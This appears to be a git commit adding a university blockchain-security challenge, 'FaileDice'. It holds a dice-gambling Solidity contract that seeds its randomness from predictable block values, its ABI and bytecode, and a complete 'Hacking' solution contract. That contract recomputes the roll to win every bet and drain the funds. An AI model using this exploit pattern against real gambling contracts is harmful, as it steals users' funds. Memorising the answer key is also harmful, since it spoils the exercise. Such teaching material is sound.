Add project2 challenge contracts

This commit is contained in:
2021-12-20 10:29:13 +01:00
parent a7a05cd8fc
commit 5f6b9fd47c
23 changed files with 677 additions and 0 deletions
+19
View File
@@ -0,0 +1,19 @@
# Description for challenge `FaileDice`
## Story
Dear Gambler, *EveCorp* is pleased to announce our new "provably fair" dice gambling contract!
The rules are simple:
Choose a number between 0 and 255 and the contract will roll the dice.
If you roll a 42, your bet will be increased tenfold (x10)
Otherwise, you lose your bet
Happy betting
## Technical description
Drain the contract of its funds.
## Hint
There is a way to increase your "luck"
+1
View File
@@ -0,0 +1 @@
[{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"withdraw","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"user_roll","type":"uint8"}],"name":"rollDice","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"getStudent","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"name":"_student","type":"address"},{"name":"_big_secret","type":"uint256"}],"payable":true,"stateMutability":"payable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":false,"name":"user","type":"address"},{"indexed":false,"name":"user_roll","type":"uint8"},{"indexed":false,"name":"outcome","type":"uint8"},{"indexed":false,"name":"bet","type":"uint256"},{"indexed":false,"name":"has_won","type":"bool"}],"name":"EventDiceRoll","type":"event"}]
+1
View File
@@ -0,0 +1 @@
60806040526040516040806105b18339810180604052604081101561002357600080fd5b81019080805190602001909291908051906020019092919050505081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060008190555050506104d9806100d86000396000f3fe608060405260043610610051576000357c0100000000000000000000000000000000000000000000000000000000900480632e1a7d4d14610053578063960630491461008e578063b439548d146100bf575b005b34801561005f57600080fd5b5061008c6004803603602081101561007657600080fd5b8101908080359060200190929190505050610116565b005b6100bd600480360360208110156100a457600080fd5b81019080803560ff1690602001909291905050506101bc565b005b3480156100cb57600080fd5b506100d46103bf565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561017257600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156101b8573d6000803e3d6000fd5b5050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff161480156102195750600034115b151561022457600080fd5b60003411151561023357600080fd5b600061023e336103e9565b9050600082820160ff16602a1490508015610325573073ffffffffffffffffffffffffffffffffffffffff1631600a34021015156102d9573373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501580156102d3573d6000803e3d6000fd5b50610324565b3373ffffffffffffffffffffffffffffffffffffffff166108fc600a34029081150290604051600060405180830381858888f19350505050158015610322573d6000803e3d6000fd5b505b5b7f058adfaada73ddb946c1d033264e6be95e23d055f74b3a348843067aa233bba033848585013485604051808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018560ff1660ff1681526020018460ff1660ff168152602001838152602001821515151581526020019550505050505060405180910390a1505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000814142600054604051602001808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018381526020018281526020019450505050506040516020818303038152906040528051906020012060019004905091905056fea165627a7a723058208343d81ada81bf8d9dae5f752a9a92009ac89b278b6cd51d699048348544d6670029
+63
View File
@@ -0,0 +1,63 @@
//pragma solidity ^0.4.12;
pragma solidity ^0.5.4;
contract SatoshiFailDice{
// Hint: use web3.toInt() when converting bytes to soldity uint - else values may not match
uint private big_secret;
address student;
address private owner;
event EventDiceRoll(address user, uint8 user_roll, uint8 outcome, uint256 bet, bool has_won);
constructor(address _student, uint _big_secret) public payable{
student = _student;
owner = msg.sender;
big_secret = _big_secret;
}
function rollDice(uint8 user_roll) payable public {
// You get x10 of your bet if you roll a 42
// ensure only the right student can interact with their contract
require(tx.origin == student && msg.value > 0);
require (msg.value > 0 );
// grab a new random number
uint8 contract_roll = PRNG(msg.sender);
bool has_won = (42 == (contract_roll + user_roll ));
if ( has_won ) {
// Bad luck if you're betting more than you can possibly win
if ( msg.value*10 >= address(this).balance) {
msg.sender.transfer(address(this).balance);
}
else {
// you won
msg.sender.transfer(msg.value*10);
}
}
emit EventDiceRoll(msg.sender, user_roll, contract_roll + user_roll, msg.value, has_won);
}
function PRNG(address sender) private view returns(uint8){
// Totally "awesome" PRNG
//return uint8(keccak256(abi.encodePacked(sender, block.coinbase, now, big_secret)));
return uint8(uint(keccak256(abi.encodePacked(sender, block.coinbase, now, big_secret))));
}
function getStudent() public view returns (address) {
return student;
}
// allow paying funds
function() external payable { }
function withdraw(uint256 amount) public {
require(msg.sender == owner);
msg.sender.transfer(amount);
}
}
+39
View File
@@ -0,0 +1,39 @@
pragma solidity ^0.5.4;
contract Hacking {
uint big_secret = 0x91f40773b6db987faa1b19cc367e0a6931414e9558f5dbe23198a988fc4a64f5;
address payable owner;
address payable challengeAddress;
modifier onlyOwner() {
require(msg.sender == owner, "Caller is not owner");
_;
}
constructor (address payable _challengeAddress) {
owner = msg.sender;
challengeAddress = _challengeAddress;
}
function pwn() external payable {
require(msg.value == 4 ether, "Must supply 4 ether");
uint8 contract_roll = PRNG();
uint8 user_roll = 42 - contract_roll;
(bool success, ) = challengeAddress.call.value(msg.value)(
abi.encodeWithSignature("rollDice(uint8)", user_roll)
);
if (!success) revert();
}
function PRNG() private view returns (uint8) {
return uint8(uint(keccak256(abi.encodePacked(address(this), block.coinbase, block.timestamp, big_secret))));
}
function withdraw() external onlyOwner {
selfdestruct(owner);
}
function() external payable { }
}